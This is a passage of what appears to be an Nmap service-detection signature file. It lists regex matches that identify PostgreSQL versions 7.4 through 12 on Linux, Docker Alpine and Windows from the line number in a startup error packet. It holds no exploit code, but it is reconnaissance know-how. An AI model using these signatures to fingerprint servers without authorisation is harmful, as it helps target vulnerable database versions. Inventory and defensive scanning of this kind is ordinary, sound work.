m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1443\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.9 - 8.0.13/ cpe:/a:postgresql:postgresql:8.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1445\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.6 or 8.0.14 - 8.0.26/ cpe:/a:postgresql:postgresql:8.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1449\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.0/ cpe:/a:postgresql:postgresql:8.1.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1450\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.1/ cpe:/a:postgresql:postgresql:8.1.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1448\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.3 - 8.1.4/ cpe:/a:postgresql:postgresql:8.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1452\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.5 - 8.1.9/ cpe:/a:postgresql:postgresql:8.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1454\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.2 or 8.1.10 - 8.1.23/ cpe:/a:postgresql:postgresql:8.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1432\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.0/ cpe:/a:postgresql:postgresql:8.2.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1437\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.1 - 8.2.4/ cpe:/a:postgresql:postgresql:8.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1440\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.5 - 8.2.19/ cpe:/a:postgresql:postgresql:8.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1441\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.5 or 8.2.20 - 8.2.23/ cpe:/a:postgresql:postgresql:8.0.5/ cpe:/a:postgresql:postgresql:8.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1497\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.0 - 8.3.7/ cpe:/a:postgresql:postgresql:8.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1507\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.8 - 8.3.13/ cpe:/a:postgresql:postgresql:8.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1508\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.14 - 8.3.18/ cpe:/a:postgresql:postgresql:8.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1514\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.19/ cpe:/a:postgresql:postgresql:8.3.19/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1515\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.20 - 8.3.23/ cpe:/a:postgresql:postgresql:8.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1570\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.0/ cpe:/a:postgresql:postgresql:8.4.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1621\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ cpe:/a:postgresql:postgresql:8.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1626\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.12/ cpe:/a:postgresql:postgresql:8.4.12/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1627\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.13 - 8.4.19/ cpe:/a:postgresql:postgresql:8.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1622\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.20 - 8.4.22/ cpe:/a:postgresql:postgresql:8.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1666\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.0 - 9.0.7/ cpe:/a:postgresql:postgresql:9.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1671\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.8/ cpe:/a:postgresql:postgresql:9.0.8/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1677\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.9 - 9.0.15/ cpe:/a:postgresql:postgresql:9.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1672\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.16 - 9.0.18/ cpe:/a:postgresql:postgresql:9.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1705\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.19 - 9.0.22/ cpe:/a:postgresql:postgresql:9.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1753\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.23/ cpe:/a:postgresql:postgresql:9.0.23/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1694\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.0 - 9.1.1/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1695\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.2 - 9.1.3/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1700\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.4/ cpe:/a:postgresql:postgresql:9.1.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1706\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.5 - 9.1.11/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1701\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.12 - 9.1.14/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1734\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.15 - 9.1.18/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1803\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.19/ cpe:/a:postgresql:postgresql:9.1.19/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1833\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.20 - 9.1.24/ cpe:/a:postgresql:postgresql:9.1/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1612\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.0 - 9.2.6/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1607\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.7 - 9.2.9/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1640\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.10 - 9.2.13/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1709\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.14/ cpe:/a:postgresql:postgresql:9.2.14/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1739\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.15 - 9.2.16/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1742\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.17/ cpe:/a:postgresql:postgresql:9.2.17/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1746\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.18 - 9.2.19/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1747\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.20 - 9.2.21/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1755\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.22 - 9.2.24/ cpe:/a:postgresql:postgresql:9.2/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1837\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.0 - 9.3.2/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1834\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.3 - 9.3.5/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1872\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.6 - 9.3.9/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1949\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.10/ cpe:/a:postgresql:postgresql:9.3.10/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1979\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.11 - 9.3.12/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1982\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.13/ cpe:/a:postgresql:postgresql:9.3.13/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1849\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.0/ cpe:/a:postgresql:postgresql:9.4.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1881\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.1 - 9.4.4/ cpe:/a:postgresql:postgresql:9.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1955\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.5/ cpe:/a:postgresql:postgresql:9.4.5/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1986\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.14 - 9.3.15 or 9.4.6 - 9.4.8/ cpe:/a:postgresql:postgresql:9/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1987\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.16 - 9.3.17/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1994\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.21 - 9.3.25/ cpe:/a:postgresql:postgresql:9.3/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1990\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.9/ cpe:/a:postgresql:postgresql:9.4.9/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2000\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.10/ cpe:/a:postgresql:postgresql:9.4.10/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2001\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.11/ cpe:/a:postgresql:postgresql:9.4.11/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2002\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.12/ cpe:/a:postgresql:postgresql:9.4.12/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.13 - 9.4.15 or 9.4.22 - 9.4.26/ cpe:/a:postgresql:postgresql:9.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.16 - 9.4.21, 9.5.20 (Docker apline image)/ cpe:/a:postgresql:postgresql:9.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1991\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.0 - 9.5.3/ cpe:/a:postgresql:postgresql:9.5/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1995\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.18 - 9.3.20 or 9.5.4/ cpe:/a:postgresql:postgresql:9/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2005\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.5/ cpe:/a:postgresql:postgresql:9.5.5/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2006\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.6/ cpe:/a:postgresql:postgresql:9.5.6/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2007\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.7/ cpe:/a:postgresql:postgresql:9.5.7/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.8 - 9.5.10 or 9.5.17 - 9.5.21/ cpe:/a:postgresql:postgresql:9.5/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2014\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.11 - 9.5.16/ cpe:/a:postgresql:postgresql:9.5/ # 9.6.0 introduced a nonlocalized error message match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2008\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.0 - 9.6.1/ cpe:/a:postgresql:postgresql:9.6/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.2/ cpe:/a:postgresql:postgresql:9.6.2/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2023\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.3/ cpe:/a:postgresql:postgresql:9.6.3/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2031\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.4 - 9.6.6 or 9.6.13 - 9.6.17/ cpe:/a:postgresql:postgresql:9.6/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2030\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.7 - 9.6.12/ cpe:/a:postgresql:postgresql:9.6/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2065\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.0 - 10.1 or 10.8 - 10.12/ cpe:/a:postgresql:postgresql:10/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2064\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.2 - 10.7/ cpe:/a:postgresql:postgresql:10/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.0 - 11.2/ cpe:/a:postgresql:postgresql:11/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2016\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.3 - 11.7/ cpe:/a:postgresql:postgresql:11/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2060\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.0 - 12.2/ cpe:/a:postgresql:postgresql:12/ # PostgreSQL - Docker image - most docker images have the same error message as the release version, these do not. # Seems images build after the move to from Alpine 3.10 to 3.11 have changed line numbers. # PR where this behavior starts: https://github.com/docker-library/postgres/pull/657 match postgresql m|^E\0\0\0.SFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2004\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.25 - 9.4.26/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:9.4/ cpe:/a:alpinelinux:alpine_linux:-/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2025\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.16 - 9.6.17/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:9.6/ cpe:/a:alpinelinux:alpine_linux:-/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2059\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.11 - 10.12/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:10/ cpe:/a:alpinelinux:alpine_linux:-/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.6 - 11.7/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:11/ cpe:/a:alpinelinux:alpine_linux:-/ match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2054\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.1 - 12.2/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:12/ cpe:/a:alpinelinux:alpine_linux:-/ # PostgreSQL - Windows platforms match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1287\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.0 - 7.4.1/ o/Windows/ cpe:/a:postgresql:postgresql:7.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1293\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.2 - 7.4.30/ o/Windows/ cpe:/a:postgresql:postgresql:7.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1408\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.0 - 8.0.1/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1431\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.2 - 8.0.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1439\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.7 - 8.0.8/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1443\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.9 - 8.0.13/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1445\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.6 or 8.0.14 - 8.0.26/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1449\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.1.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1450\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.1/ o/Windows/ cpe:/a:postgresql:postgresql:8.1.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1448\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.3 - 8.1.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1452\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.5 - 8.1.9/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1454\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.2 or 8.1.10 - 8.1.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1432\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.2.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1437\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.1 - 8.2.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1440\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.5 - 8.2.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1441\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.5 or 8.2.20 - 8.2.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.0.5/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1497\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.0 - 8.3.7/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1507\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.8 - 8.3.13/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1508\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.14 - 8.3.18/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1514\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.3.19/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1515\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.20 - 8.3.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a match postgresql 